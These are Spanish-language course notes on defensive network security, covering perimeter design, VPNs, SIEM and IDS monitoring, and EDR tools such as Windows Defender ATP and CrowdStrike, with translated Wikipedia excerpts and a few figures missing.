Apuntes M11 UF2
Apuntes M11 UF2
Apuntes M11 UF2
1. Seguridad Perimetral.
2. Elementos básicos.
3. Ejemplos de infraestructura.
Imagen 1
Seguridad perimetral
→ Abiertos. Son los que dependen de las condiciones ambientales, como por ejemplo
infrarrojos, cámaras de videovigilancia… que puedan provocar falsas alarmas o falta de
sensibilidad en condiciones adversas. Por ejemplo, un infrarrojo, si está lloviendo
mucho, y no puede traspasar la luz por la gota de la lluvia no va a hacer la función para
la cual está implementado. Por su parte, si una cámara de vigilancia se empaña y no
graba bien no vale de nada.
Página 1 de 141
Imagen 2
Router. Este es un elemento básico de la red. Todo el mundo tiene un router en su casa, ya que
es el que nos provee nuestro ISP. ¿Por qué nos provee un router un ISP? Por la razón de que los
ISP son los que nos asignan una dirección IP a ese router (que puede ser pública o privada,
aunque las IP privadas tienen coste [¿quizá se quiera hacer referencia a las IP dedicadas?]), y el
ISP es el que hace la conexión desde nuestra red hacia fuera.
Nosotros siempre tenemos una IP pública que es diferente a la red interna que nosotros
tenemos, que suele ser una 192.168.1.lo_que_sea. ¿Por qué ocurre esto? Porque el router es el
que hace el nateo (de NAT - Network address translation - Traducción de direcciones de red);
esto es, el router cambia la dirección que viene del exterior para poder tener red internamente.
Imagen 3
Cortafuegos
Cortafuegos los tenemos de varios tipos: de aplicación o en hierro (como lo suelo llamar yo,
personalmente, que son hardware físico).
Página 2 de 141
Por ejemplo (imagen 4), si nosotros tenemos nuestro servidor web detrás del cortafuegos, todas
las peticiones que haga nuestro servidor web, o que vengan desde el exterior, automáticamente
van a pasar siempre por el cortafuegos.
Imagen 4
Honeypot
Es un dispositivo que solemos poner de conejillo de indias. Permite recoger información de los
atacantes, como las técnicas que utilizan, muestras de spam, muestras de malware, o tendencias
de ataques.
Por tanto, el honeypot sirve para distraer a los atacantes de las máquinas más importantes del
sistema, avisando a los administradores para estar sobre aviso. Es decir, si yo coloco un
honeypot y están atacando al honeypot con diferentes técnicas, yo puedo intentar prevenir o
estar preparado por si el usuario encontrara un servidor y pudiera llegar a explotarlo de una
forma similar a como está explotando nuestro honeypot.
Imagen 5
Página 3 de 141
Servidor proxy
Un servidor proxy es una aplicación/dispositivo en el que todas las peticiones del cliente van a
pasar a través de un proxy para llegar al destino final, ya sea un servidor remoto o una
determinada URL.
Esto se suele usar muy a menudo, por ejemplo, cuando queremos restringir determinados
dominios en una empresa. Todas las peticiones del navegador de un usuario van a pasar por el
proxy. Ahí va a haber unas listas de control de acceso (ACLs - Access Control Lists), y en estas
listas de control de acceso yo voy a indicar si se puede acceder a esa página web o no.
Imagen 6
Un Host-Bastion es una aplicación que se localiza en un servidor con el fin de ofrecer seguridad
a la red interna, por lo que ha sido especialmente configurado para recepción de ataque,
generalmente provee un solo servicio, como por ejemplo suele ser un proxy.
Host interno. [Puede tener 1 o 2 interfaces por donde va a pasar todo el tráfico de
nuestra infraestructura].
Imagen 7
Página 4 de 141
https://en.wikipedia.org/wiki/Bastion_host
Bastion host
Definitions
The term is generally attributed to a 1990 article discussing firewalls by Marcus J. Ranum, who
defined a bastion host as "a system identified by the firewall administrator as a critical strong
point in the network security. Generally, bastion hosts will have some degree of extra attention
paid to their security, may undergo regular audits, and may have modified software".
It has also been described as "any computer that is fully exposed to attack by being on the public
side of the DMZ, unprotected by a firewall or filtering router. Firewalls and routers, anything that
provides perimeter access control security can be considered bastion hosts. Other types of
bastion hosts can include web, mail, DNS, and FTP servers...Due to their exposure, a great deal
of effort must be put into designing and configuring bastion hosts to minimize the chances of
penetration."
Placement
There are two common network configurations that include bastion hosts and their placement.
The first requires two firewalls, with bastion hosts sitting between the first "outside world"
firewall, and an inside firewall, in a DMZ. Often, smaller networks do not have multiple firewalls,
so if only one firewall exists in a network, bastion hosts are commonly placed outside the firewall.
Examples
Email server
Honeypot
Página 5 de 141
Proxy server
Web server
Definiciones
También se ha descrito como "cualquier ordenador que está totalmente expuesto a los ataques
por estar en el lado público de la DMZ, sin estar protegido por un cortafuegos (firewall) o un
router de filtrado (filtering router). Cortafuegos y routers (Firewalls and routers), cualquier cosa
que proporcione seguridad en el control de acceso perimetral puede ser considerada como
bastion hosts. Otros tipos de bastion hosts pueden ser los servidores web, de correo, DNS y FTP...
Debido a su exposición, hay que hacer un gran esfuerzo en el diseño y configuración de los
bastion hosts para minimizar las posibilidades de penetración".
Colocación (Placement)
Hay dos configuraciones de red comunes que incluyen bastion hosts y su colocación. La primera
requiere dos cortafuegos (firewalls), con bastion hosts situados entre el primer cortafuegos del
"mundo exterior" ("outside world" firewall) y un cortafuegos interior (inside firewall), en una
DMZ. A menudo, las redes más pequeñas no tienen múltiples cortafuegos, así que, si sólo existe
un cortafuegos en una red, los bastion hosts se colocan comúnmente fuera del cortafuegos.
Ejemplos
DNS (Domain Name System) server - Servidor DNS (Sistema de Nombres de Dominio)
FTP (File Transfer Protocol) server - Servidor FTP (Protocolo de transferencia de archivos)
Honeypot
VPN (Virtual Private Network) server - Servidor VPN (Red Privada Virtual)
Ejemplo de infraestructura
Separa el tráfico de la navegación interna del tráfico de servicios al exterior. Permite administrar
los servicios sin estar en la misma red y sin pasar por internet. Adecuado para redes de alta
seguridad con requisitos de tráfico independiente. Alto y coste y alta complejidad.
Página 6 de 141
¿Por qué tiene un alto coste y una alta complejidad? Porque, al final, tenemos diferentes redes
con diferentes redes perimetrales, y esto requiere de diferente hardware, más determinados
usuarios que gestionen y parametricen estas configuraciones. Pero siempre nos va a dar una
seguridad mayor, porque (ver imagen 8) todo lo que está en Navegación externa podemos
tenerlo muy bien controlado antes de que llegue a la Administración de servicios, y viceversa.
O (ver imagen 8) todo lo que salga de la Red interna va a pasar por su cortafuegos, si quiere ir a
la Red perimetral 3 va a pasar por un segundo router (Router interno 2), para luego llegar a un
router exterior (Router externo 2), que es el que da salida a internet.
Imagen 8
Imagen 9
Página 7 de 141
Red perimetral con un solo router
Imagen 10
1. VPN
2. Protocolos VPN
3. Instalación y configuración
Imagen 11
VPN
Una VPN (Virtual private network - Red privada virtual) la podemos definir como una extensión
de una red de área local (LAN - Local Area Network) a la cual nos podremos conectar desde
Página 8 de 141
cualquier parte o para la cual esté configurada, generando un túnel desde el cliente a la red
local. Una VPN encapsula y cifra la información con el algoritmo AES-256 (esto todo siempre
dependiendo del protocolo que estemos utilizando).
Las redes virtuales VPN son muy utilizadas en entornos empresariales, cuando un empleado
trabaja desde su casa, o está en otra oficina de un cliente, con el fin de que se pueda conectar a
la infraestructura de su red, de su compañía. Es decir, casi todas las compañías usan un cliente
VPN (de Palo Alto Networks, Fortinet, Sophos… hay infinidades de productos de VPN) en el que
se suelen validar con los datos del Active Directory, el usuario que le crean al empleado nada
más entrar en la compañía, y ese es luego el que utilizan para hacer funcionar el cliente,
pudiendo llegar a estar en cualquier parte del mundo —siempre y cuando no tengamos
restricciones de IP por países— nos podríamos conectar a la red interna de nuestra compañía.
No es que te conectes a la red interna como tal; o sea, nosotros podemos decirle que a esa VPN
solamente te vas a conectar a la red local, pero vas a conectarte a esta VLAN, por ejemplo, y no
a toda la red. Vas a tener acceso limitado a la información, pero no como si estuvieras en las
oficinas.
Las VPN también son muy utilizadas para unir sedes, y crear como una especie red en estrella
de las diferentes sedes de nuestra compañía. Suponiendo que tenemos sedes en Barcelona,
Madrid, Valencia y Cáceres: si queremos tener las 4 sedes interconectadas, lo que vamos a hacer
es levantar túneles VPN de punta a punta. Por ejemplo, Barcelona-Madrid; Valencia-Madrid;
Cáceres-Madrid. Es decir, lo tenemos que centralizar en una, para que podamos tener acceso a
todo.
Imagen 12
Protocolos
IPsec - Internet Protocol Security (Seguridad del Protocolo de Internet) [En el vídeo pone
IPPSEC]. Es una extensión del protocolo IP, que tiene por objeto garantizar
comunicaciones privadas y seguras mediante el uso de servicio de seguridad
criptográfico.
Página 9 de 141
encapsula los protocolos IP en datagramas de PPP. Después, el servidor de
encapsulación efectúa todas las comprobaciones de seguridad, haciendo más seguro el
envío de los datos.
VPN SSL. (SSL - Secure Sockets Layer - capa de puertos seguros | TLS - Transport Layer
Security - Seguridad de la capa de transporte | Recuérdese que Transport Layer Security
(TLS) es el sucesor del ya obsoleto Secure Sockets Layer (SSL)). VPN SSL es un formato
que puede ser utilizado de 2 maneras: algunas soluciones ofrecen el acceso
directamente a la web sin necesidad de instalación del cliente de conexión, y otras
mediante cliente (esta es la que hemos estado hablando normalmente). La base del
transporte de la información se da a través de SSL, garantizando la comunicación segura
entre los puntos involucrados.
Respecto a L2TP y PPTP, si queremos montar algo en casa rápido y fácil podemos usarlas. Pero
estos tipos de protocolos ya no se suelen utilizar.
Imagen 13
Instalación y configuración
Imagen 14
Página 10 de 141
A continuación, en el vídeo se muestra el Terminal de Kali Linux. Y en el vídeo se hace un ls
mientras se dice aquí ya lo tengo clonado el repositorio, que es con git clone
Imagen 15
Yo aquí no tengo abiertos los puertos ni nada. Es decir, que aunque lo acabe de configurar no va
a funcionar porque no tengo abierto nada en mi router.
Imagen 16
Luego se agrega un nuevo usuario. Para ello, se selecciona 1) Add a new user y seguidamente 1)
Add a passwordless client (imagen 17).
Imagen 17
Página 11 de 141
La primera vez se configuran más opciones: se configuran los puertos, si se desea IPv6 o no…
Pero como había realizado la configuración previamente, aquí lo que se ha hecho al final es crear
los diferentes usuarios que vamos a utilizar para conectarnos a la VPN.
Imagen 18
Tras esto intentaría conectar. Se ve la IP pública —en este caso, 139.47.68.27— y el puerto
—:1194—. Pero no va a conectar, porque está pidiendo el puerto 1194 UDP, y en el router no
tengo abierto nada.
Imagen 19
Página 12 de 141
Este sistema es el que también se utiliza en la plataforma de Hack The Box
(https://www.hackthebox.com/) para poder atacar a las máquinas de su plataforma.
En el vídeo, primero se muestra el contenido de la carpeta Downloads con ls. Y se dice que
FrankyTech.ovpn es el cliente de la plataforma (imagen 20).
Imagen 20
En el menú de la izquierda se le da a Labs → Machines → All. Luego, hay que suponer que se
quiere ver o atacar a la máquina Player, con IP 10.10.10.145 (imagen 21).
Imagen 21
Nosotros, primeramente, nos conectamos a la VPN que nos ofrece Hack The Box, con openvpn
--config FrankyTech.ovpn (imagen 22).
Imagen 22
Página 13 de 141
Imagen 23
Imagen 24
Página 14 de 141
Si yo me desconecto de la VPN, yo ya no llego a esta red (10.10.10.145)
Imagen 25
Respecto a NordVPN, es un proveedor de VPN donde tenemos diferentes países para poder salir
por diferentes IPs.
ICA0011-S03-C01-V03-Sistemas de monitorización
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111808)
Imagen 26
Página 15 de 141
¿Qué es un sistema de monitorización?
Un sistema de monitorización, como su propio nombre indica, son sistemas usados para
monitorizar dispositivos electrónicos, sensores, redes empresariales, sistemas SCADA
(Supervisory control and data acquisition - Control de supervisión y adquisición de datos), etc.
Imagen 27
Protocolos
Principales protocolos
Cuando hablamos de los principales protocolos es qué tipo de protocolos vamos a poder
monitorizar o a través de qué protocolos vamos a poder enviar los eventos. Hoy día se puede
monitorizar todo prácticamente.
SNMPv3. Envío de información a través de SNMP. Pues, por ejemplo, muchos de los
switches o configuraciones que yo he realizado la información que envían para ver el
estado de ese dispositivo lo envían a través del protocolo SNMP. Con este protocolo hay
que tener mucho cuidado porque siempre hay que ponerle credenciales, ya que, de lo
contrario, cualquier atacante que estuviera dentro de la red haciendo una serie de
pruebas contra el protocolo SNMP podría obtener más información de la debida.
TCP/UDP.
Página 16 de 141
Imagen 28
Herramientas de monitorización
Se muestra (imagen 29) un sistema muy famoso de monitorización: Nagios, que es open source.
A través de un agente que se instala en diferentes clientes podemos llegar a alimentar a base de
logs, y luego tener representado en un dashboard, toda la información de nuestra red o de
diferentes servidores que queramos tener controlados. No siempre vamos a tener controlado
todo.
Imagen 29
SIEM
https://en.wikipedia.org/wiki/Security_information_and_event_management
Security information and event management (SIEM) is a field within the field of computer
security, where software products and services combine security information management (SIM)
and security event management (SEM). They provide real-time analysis of security alerts
Página 17 de 141
generated by applications and network hardware. Vendors sell SIEM as software, as appliances,
or as managed services; these products are also used to log security data and generate reports
for compliance purposes. The term and the initialism SIEM was coined by Mark Nicolett and
Amrit Williams of Gartner in 2005.
The acronyms SEM, SIM and SIEM have sometimes been used interchangeably, but generally
refer to the different primary focus of products:
Log management: Focus on simple collection and storage of log messages and audit trails
Security information management (SIM): Long-term storage as well as analysis and reporting of
log data.
Security event manager (SEM): Real-time monitoring, correlation of events, notifications and
console views.
Security information and event management (SIEM): Combines SIM and SEM and provides real-
time analysis of security alerts generated by network hardware and applications.
Managed Security Service: (MSS) or Managed Security Service Provider: (MSSP): The most
common managed services appear to evolve around connectivity and bandwidth, network
monitoring, security, virtualization, and disaster recovery.
Security as a service (SECaaS): These security services often include authentication, anti-virus,
anti-malware/spyware, intrusion detection, Penetration testing and security event
management, among others.
In practice many products in this area will have a mix of these functions, so there will often be
some overlap – and many commercial vendors also promote their own terminology. Oftentimes
commercial vendors provide different combinations of these functionalities which tend to
improve SIEM overall. Log management alone doesn't provide real-time insights on network
security, SEM on its own won't provide complete data for deep threat analysis. When SEM and
log management are combined, more information is available for SIEM to monitor.
A key focus is to monitor and help manage user and service privileges, directory services and
other system-configuration changes; as well as providing log auditing and review and incident
response.
Los acrónimos SEM (security event management - gestión de eventos de seguridad), SIM
(security information management - gestión de la información de seguridad) y SIEM (security
information and event management - información de seguridad y gestión de eventos) se han
utilizado a veces indistintamente, pero en general se refieren al diferente enfoque principal de
los productos:
Página 18 de 141
Gestión de registros - Log management: Se centra en la simple recopilación y almacenamiento
de mensajes de registro y registros de auditoría
Gestión de eventos de seguridad (SEM - Security event manager): Supervisión en tiempo real,
correlación de eventos, notificaciones y vistas de la consola.
Seguridad como servicio (SECaaS - Security as a service): Estos servicios de seguridad suelen
incluir autenticación, antivirus, antimalware/spyware, detección de intrusiones, pruebas de
penetración y gestión de eventos de seguridad, entre otros.
En la práctica, muchos productos de este ámbito tendrán una mezcla de estas funciones, por lo
que a menudo habrá cierto solapamiento, y muchos proveedores comerciales también
promueven su propia terminología. A menudo, los proveedores comerciales ofrecen diferentes
combinaciones de estas funcionalidades que tienden a mejorar el SIEM en general. La gestión de
registros por sí sola no proporciona información en tiempo real sobre la seguridad de la red, y el
SEM por sí solo no proporciona datos completos para un análisis profundo de las amenazas.
Cuando el SEM y la gestión de registros se combinan, se dispone de más información para que el
SIEM la supervise.
Un objetivo clave es supervisar y ayudar a gestionar los privilegios de los usuarios y los servicios,
los servicios de directorio y otros cambios en la configuración del sistema, así como proporcionar
auditoría y revisión de registros y respuesta a incidentes.
Capabilities
Data aggregation: Log management aggregates data from many sources, including network,
security, servers, databases, applications, providing the ability to consolidate monitored data to
help avoid missing crucial events.
Correlation: Looks for common attributes, and links events together into meaningful bundles.
This technology provides the ability to perform a variety of correlation techniques to integrate
different sources, in order to turn data into useful information. Correlation is typically a function
of the Security Event Management portion of a full SIEM solution
Dashboards: Tools can take event data and turn it into informational charts to assist in seeing
patterns, or identifying activity that is not forming a standard pattern.
Página 19 de 141
Retention: Employing long-term storage of historical data to facilitate correlation of data over
time, and to provide the retention necessary for compliance requirements. Long term log data
retention is critical in forensic investigations as it is unlikely that discovery of a network breach
will be at the time of the breach occurring.
Forensic analysis: The ability to search across logs on different nodes and time periods based on
specific criteria. This mitigates having to aggregate log information in your head or having to
search through thousands and thousands of logs.
Capacidades
Agregación de datos (Data aggregation): La gestión de registros (log management) agrega datos
de muchas fuentes, incluyendo la red, la seguridad, los servidores, las bases de datos y las
aplicaciones, proporcionando la capacidad de consolidar los datos supervisados para ayudar a
evitar que se pierdan eventos cruciales.
Cuadros de mando (Dashboards): Las herramientas pueden tomar los datos de los eventos y
convertirlos en gráficos informativos para ayudar a ver patrones, o identificar la actividad que
no está formando un patrón estándar.
Conservación (Retention): Emplear el almacenamiento a largo plazo de los datos históricos para
facilitar la correlación de los datos a lo largo del tiempo, y proporcionar la retención necesaria
para los requisitos de cumplimiento. La retención de datos de registro a largo plazo es
fundamental en las investigaciones forenses, ya que es poco probable que se descubra una
brecha en la red en el momento en que se produce.
Análisis forense (Forensic analysis): La capacidad de buscar en los registros de diferentes nodos
y periodos de tiempo basándose en criterios específicos. Esto evita tener que agregar la
información de los registros en la cabeza o tener que buscar en miles y miles de registros.
Components
SIEM architectures may vary by vendor; however, generally, essential components comprise the
SIEM engine. The essential components of a SIEM are as follows:
A data collector forwards selected audit logs from a host (agent based or host based log
streaming into index and aggregation point)
An ingest and indexing point aggregation point for parsing, correlation, and data normalization
A search node that is used to for visualization, queries, reports, and alerts (analysis take place on
a search node)
Página 20 de 141
Componentes
Las arquitecturas SIEM pueden variar según el proveedor; sin embargo, generalmente, los
componentes esenciales comprenden el motor SIEM. Los componentes esenciales de un SIEM
son los siguientes:
Un recolector de datos (data collector) reenvía los registros de auditoría seleccionados (selected
audit logs) desde un host (flujo de registros basado en agentes o en el host a un punto de
indexación y agregación - agent based or host based log streaming into index and aggregation
point)
Un nodo de búsqueda que se utiliza para la visualización, las consultas, los informes y las alertas
(el análisis tiene lugar en un nodo de búsqueda)
https://en.wikipedia.org/wiki/AT%26T_Cybersecurity
AT&T Cybersecurity
IBM QRadar Este es muy caro, pero es muy bueno viendo el rendimiento que nos facilita.
De este tipo de software hay una infinidad en el mercado. En todo caso, lo que reciben es toda
la información de todos los dispositivos, bien sea a través de eventos, porque lee logs o porque
los envíe a través del protocolo SNMP. Y ahora muchos dispositivos ya permiten enviar la
información directamente con la propia API que nos ofrece. Es decir, ponemos un ejemplo:
Forescout (control de acceso a la red) permite enviar toda la información que él recoge vía API
a un SIEM. A lo mejor no va a funcionar con todos los SIEM, pero sí con casi todos. Entonces,
Página 21 de 141
nosotros vamos a alimentar el SIEM a través de la información de los dispositivos de la red. Todo
esto se centraliza dentro de un dashboard donde nosotros vamos a poder trabajar las alertas
que se vayan generando, o tener una capacidad de respuesta contra un incidente, que aquí es
donde entrar en juego los IR - Incident Response -estos últimos monitorizan todas las alertas y
en cuanto detectan una alerta que no debería haber ocurrido se ponen a trabajar para mitigar
ese posible ataque-.
Imagen 30
Instalación y configuración
https://www.stamus-networks.com/selks
Released under GPLv3 license, the live distribution is available as either a live and installable
Debian-based ISO or via Docker compose on any Linux operating system.
Publicado bajo la licencia GPLv3, la live distribution está disponible como una ISO basada en
Debian que se puede instalar en vivo/live o a través de Docker compose en cualquier sistema
operativo Linux.
Página 22 de 141
SELKS is comprised of the following major components:
Scirius CE - Gestión del conjunto de reglas de Suricata e interfaz de caza de amenazas de Suricata
https://en.wikipedia.org/wiki/Suricata_(software)
Suricata is an open source-based intrusion detection system (IDS) and intrusion prevention
system (IPS). It was developed by the Open Information Security Foundation (OISF). A beta
version was released in December 2009, with the first standard release following in July 2010.
Imagen 31
Página 23 de 141
En https://www.stamus-networks.com/selks se ofrece una Imagen completa con escritorio
(Complete Image with Desktop) y una Imagen completa sin escritorio (Complete Image without
Desktop). En el vídeo se muestra la Imagen completa con escritorio.
En el vídeo se dice: he realizado unas pruebas previamente donde podemos ver que ha detectado
aquí una alerta (imagen 32).
Imagen 32
Imagen 33
Página 24 de 141
Aquí tenemos otro dashboard que sería de Suricata, que es un IDS (Intrusion Detection System),
parecido al Snort, pues igual (imagen 34).
Imagen 34
Aquí tenemos las conexiones vía SSH (imagen 35). ¿Por qué tenemos una conexión vía SSH?
Porque la he realizado desde aquí (desde la máquina virtual de Kali Linux)…
Imagen 35
Página 25 de 141
Imagen 36
Imagen 37
Para acceder a nuestro panel, ponemos la IP —en el caso del vídeo, 192.168.1.161—, y se
puede ir accediendo a los paneles:
Página 26 de 141
Hunt (Cazar/Buscar/Perseguir) - Búsqueda avanzada de amenazas (imagen 39)
Imagen 38
Imagen 39
Para que veáis que una vez que esto empieza a obtener eventos, podemos tener todo
centralizado de todas las páginas y tener un control de nuestra infraestructura.
Página 27 de 141
[Mientras se ve el dashboard de Kibana]: Lo tengo por defecto, no tengo muchas configuraciones
realizadas. [Se accede a la opción Monitoring]: Aquí, todo lo que hemos visto de Windows
Defender Advanced Threat Protection (ATP) y CrowdStrike lo podríamos enviar vía API a un SIEM.
Habría que ver si este permite recibir datos a través de una API de terceros, pero en principio casi
todos [lo permiten]. [Refiriéndose a la opción Machine Learning]: Ahora está muy de moda.
1. Herramientas preventivas.
2. Tipos.
3. Instalación y configuración.
4. Ejemplos
Imagen 40
Herramientas preventivas
Página 28 de 141
Imagen 41
Tipos
Antivirus convencionales → Estos son los típicos antivirus que se instalan en un usuario
doméstico: Norton, Avast, Bitdefender…
Antivirus EDR (Endpoint Detection and Response) → Estos antivirus ya son de última
generación. Son antivirus que tienen una consola de monitorización y se instalan a gente que
monitoriza el comportamiento del sistema, o de los sistemas; como Windows Defender ATP
(Advanced Threat Protection), o CrowdStrike [seguramente en referencia a Falcon Insight:
Endpoint Detection & Response (EDR)]. Este último funciona muy bien cuando se ejecutan
procesos en memoria, que es donde suelen fallar casi todos los antivirus convencionales. Si tú
no escribes en disco, muchos de ellos, si no tienen heurística, no van a poder ver qué es lo que
está ejecutando y el comportamiento que está realizando.
https://en.wikipedia.org/wiki/Endpoint_detection_and_response
Endpoint detection and response (EDR), also known as endpoint threat detection and response
(ETDR), is a cybersecurity technology that continually monitors an "endpoint" (e.g. mobile phone,
laptop, Internet-of-Things device) to mitigate malicious cyber threats.
La detección y respuesta a los puntos finales (EDR), también conocida como detección y
respuesta a las amenazas a los puntos finales (ETDR), es una tecnología de ciberseguridad que
supervisa continuamente un "punto final" (por ejemplo, un teléfono móvil, un ordenador portátil
o un dispositivo de Internet de las cosas) para mitigar las ciberamenazas maliciosas.
Firewalls no físicos (basados en software). Como por ejemplo Iptables, el propio de Windows o
pfSense.
WAF (Web Application Firewall). Estos dispositivos o aplicaciones sirven para detectar y mitigar
ataques a nivel de web, o a nivel de aplicación. Por ejemplo: inyecciones SQL, Cross-Site Scripting
(XSS), Local file inclusion (LFI), o Remote Code Execution (RCE).
https://en.wikipedia.org/wiki/Web_application_firewall
A web application firewall (WAF) is a specific form of application firewall that filters, monitors,
and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent
attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site
scripting (XSS), file inclusion, and improper system configuration.
Página 29 de 141
Un web application firewall (WAF) es una forma específica de cortafuegos de aplicaciones que
filtra, supervisa y bloquea el tráfico HTTP hacia y desde un servicio web. Al inspeccionar el tráfico
HTTP, puede prevenir los ataques que explotan las vulnerabilidades conocidas de una aplicación
web, como la inyección SQL, el cross-site scripting (XSS), la inclusión de archivos y la configuración
incorrecta del sistema.
NAC (Network Access Control - Control de Acceso a la Red). Estos son dispositivos que detectan
y analizan o establecen políticas a todos los dispositivos que se conectan previamente a una red.
Por ejemplo, puede ser un dispositivo de pago que se suele montar en diferentes
infraestructuras, un Forescout.
IDS (Intrusion Detection System - Sistema de Detección de Intrusos). Por ejemplo, un Suricata
o un Snort. Funcionan siempre con reglas que nosotros podemos hacer de forma manual o reglas
directamente que comparte la comunidad para detectar y alertar sobre diferentes ataques. Por
ejemplo, yo lanzo un exploit de EternalBlue hacia una máquina que fuese vulnerable y si yo a lo
mejor tengo una regla de estas, va a detectar qué persona o qué equipo ha ejecutado ese exploit.
Esto mismo puede ocurrir cuando un usuario realiza un escaneo interno de la red. Este evento
detectado se enviaría a un SIEM (Security information and event management - Gestión de
información y eventos de seguridad) y esto sería detectado por las personas que está
monitorizando la red. Normalmente se suele centralizar todo en un SOC (Security Operation
Center - Centro de Operaciones de Seguridad), donde hay diferentes niveles para diferentes
alertas y diferentes clientes.
Imagen 42
Instalación y configuración
Aquí voy a poner solamente una breve imagen (imagen 43) de cómo sería para descargar un
sensor para poder configurar Windows Defender ATP, pero digamos el avanzado.
Instalamos un agente en cada uno de los equipos, realizamos una detección para que lo detecte
el dashboard y automáticamente ya estaría monitorizado y ejecutándose un servicio para
detectar todo lo que ocurriera en nuestra máquina.
Página 30 de 141
Imagen 43
Imagen 44
Ejemplos
Página 31 de 141
infraestructura. Si no tuviéramos visibilidad tendríamos que usar un Port Mirroring (puerto
espejo) o un puerto SPAN (Switched Port Analyzer) —para que replique y lo pase todo a un
puerto y de ahí nos lo envíe al Forescout—, pero si no tenemos visibilidad no vamos a poder
gestionar un equipo final.
Nosotros con Forescout qué vamos a poder hacer. Por ejemplo, imaginemos que un usuario
llega a nuestra compañía y antes de que se conecte a la red de invitado nosotros queremos ver
realmente si ese equipo tiene algún tipo de vulnerabilidad o algún fallo que no queremos que
se conecte a nuestra red (yo no quiero que llegue una persona con un equipo desactualizado a
mi infraestructura y se conecte; yo no sé lo que tiene instalado). Entonces, nosotros le podemos
obligar a que se instale un agente, se ejecuta en memoria (una vez que se reinicia el equipo
desaparece dicho agente), y qué le vamos a decir nosotros a este usuario que llega nuevo a
nuestra compañía: yo te pido que tengas instalado un antivirus, que esté actualizado y que se
esté ejecutando. A su vez, te pido que tu sistema operativo esté actualizado. Con estas políticas,
más o menos, puedo prever si el equipo puede ser un alto riesgo para mi compañía o no. Que
cumple todas las políticas: te conectas a la red. Que no las cumple: te vas a una red de
cuarentena. Y hasta que tú no arregles ese asunto no vuelves a la red normal. Por tanto, en el
caso de que alguien haga cualquier acción lo enviamos a una red de cuarentena y ya no está
dentro de nuestra infraestructura.
Imagen 45
Página 32 de 141
CrowdStrike. Igual que Windows Defender ATP (Advanced Threat Protection). Es otra tecnología
de pago EDR (Endpoint Detection and Response).
Imagen 46
Imagen 47
Snort. Es un IDS (Intrusion Detection System). A través de diferentes reglas, creadas por nosotros
o compartidas por la comunidad, vamos a poder detectar/mitigar diferentes ataques: un
escaneo a la red con nmap, una ejecución de exploit… Se genera automáticamente una alerta y
podríamos enviarla a un SIEM para que alguien verifique quién ha ejecutado qué y por qué.
Imagen 48
Página 33 de 141
pfSense. Cortafuegos de open source. Este es el que hablábamos al principio: podemos usar
también iptables o el cortafuegos de Windows. Pero bueno, este está con muchas más
configuraciones, nos permite VPN, servicios, crear diferentes reglas, entonces evidentemente
se ejecuta en una máquina y todo el tráfico tiene que pasar por la máquina; no es igual que un
Palo Alto (Palo Alto Networks), un Fortinet o un Check Point, pero si no tenemos presupuesto
para comprar ese tipo de hardware, que suele costar bastante dinero, es una solución asequible
para cualquier compañía.
Imagen 49
ICA0011-S03-C01-V05-WindowsATP-Crowdstrike
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111810)
En este vídeo, Windows ATP [Windows Defender ATP (Advanced Threat Protection)] y
CrowdStrike, se ve:
1. Windows ATP
2. CrowdStrike
Imagen 50
Página 34 de 141
Windows ATP
Windows Defender Advanced Threat Protection (ATP) es un antivirus avanzado donde podemos
tener un centro de monitorización para controlar y ejecutar acciones en los diferentes equipos
donde tengamos instalado el agente.
Imagen 51
¿Cómo instalamos nosotros este agente? Este agente lo vamos a poder instalar nosotros a través
de un dashboard. Este dashboard lo vamos a mostrar aquí (imagen 52). (El dashboard aparece
en la URL https://securitycenter.windows.com/dashboard).
Imagen 52
Para poder nosotros instalar el agente y que nuestro dashboard (imagen 52) lo detecte, hay que
ir a la opción de Settings (https://securitycenter.windows.com/preferences2/general) y, en la
parte de la izquierda, donde pone Machine management, se pulsa en Onboarding
(https://securitycenter.windows.com/preferences2/onboarding). Esta opción es la que va a
poder realizar la ejecución y la detección de nuestro equipo en el dashboard.
Página 35 de 141
Imagen 53
En este caso se ha utilizado la opción Local Script (for up to 10 machines), y por ello en la parte
superior ya aparece First machine onboarded: Completed (imagen 54).
Imagen 54
Página 36 de 141
Imagen 55
El script hay que ejecutarlo con permisos de Administrador; si no, no va a poder realizar queries
en el registro.
Una vez que se ha ejecutado el script en cada una de las máquinas que vamos a querer controlar,
tenemos que hacer una detección (Run a detection test, en la URL
https://securitycenter.windows.com/preferences2/onboarding). La detección es para verificar
si este dispositivo ha sido detectado por nuestro dashboard. Para ello, hay que ejecutar el
script/acción en PowerShell señalado en la imagen 56 y, automáticamente, se hará la conexión
con nuestro dashboard.
Imagen 56
¿Cuándo vamos a detectarlo? Pasados unos 5 minutos, que se hace el refresco, ya aparecerá el
equipo detectado. En el vídeo, en la barra de búsqueda superior, ubicada al lado de Machine, se
Página 37 de 141
busca prueba. Y en https://securitycenter.windows.com/search/machines/prueba aparece el
equipo (imagen 57).
Imagen 57
Imagen 58
Una vez que tenemos el equipo detectado vamos a poder realizar diferentes acciones contra el
EndPoint: realizar escaneos, poner el equipo en cuarentena, ver qué aplicaciones tiene
instaladas, si tiene vulnerabilidades el dispositivo (bien sea porque le falta un parche de
seguridad o porque tiene una aplicación maliciosa…).
Página 38 de 141
En el vídeo se hace clic en Alerts…
Imagen 59
Imagen 60
Página 39 de 141
Por otro lado, desde Software Inventory se puede ver todo lo que tiene instalado la máquina
(imagen 61).
Imagen 61
CrowdStrike
Imagen 62
CrowdStrike se está haciendo muy famoso porque es uno de los mejores antivirus que analiza la
memoria de cada uno de los equipos.
Página 40 de 141
Desde el dashboard vamos a poder buscar nuestro host (Investigate → Host Search) y
CrowdStrike nos da mucha información (imagen 63).
Imagen 63
Entre otros, se ven los procesos que se están ejecutando, los servicios, el PID, podemos acceder
a cada una de las acciones de dicho proceso (desde CommandLine). Luego, dependiendo de las
políticas configuradas, va a detectar todo de forma más agresiva o menos agresiva. Por ejemplo,
se clica en el CommandLine señalado en la imagen 64…
Imagen 64
… Y se puede ver el nombre del ordenador (ComputerName), el proceso con el comando que
está ejecutando (CommandLine), la MAC, etc.
Página 41 de 141
Imagen 65
Imagen 66
Página 42 de 141
Imagen 67
Cabe destacar que todas estas soluciones que hemos mostrado son todas de pago, pero son las
que nos encontramos en los entornos empresariales: CrowdStrike; Windows Defender ATP
(Advanced Threat Protection); McAfee ePolicy Orchestrator (ePO); Kaspersky; Panda; VMware
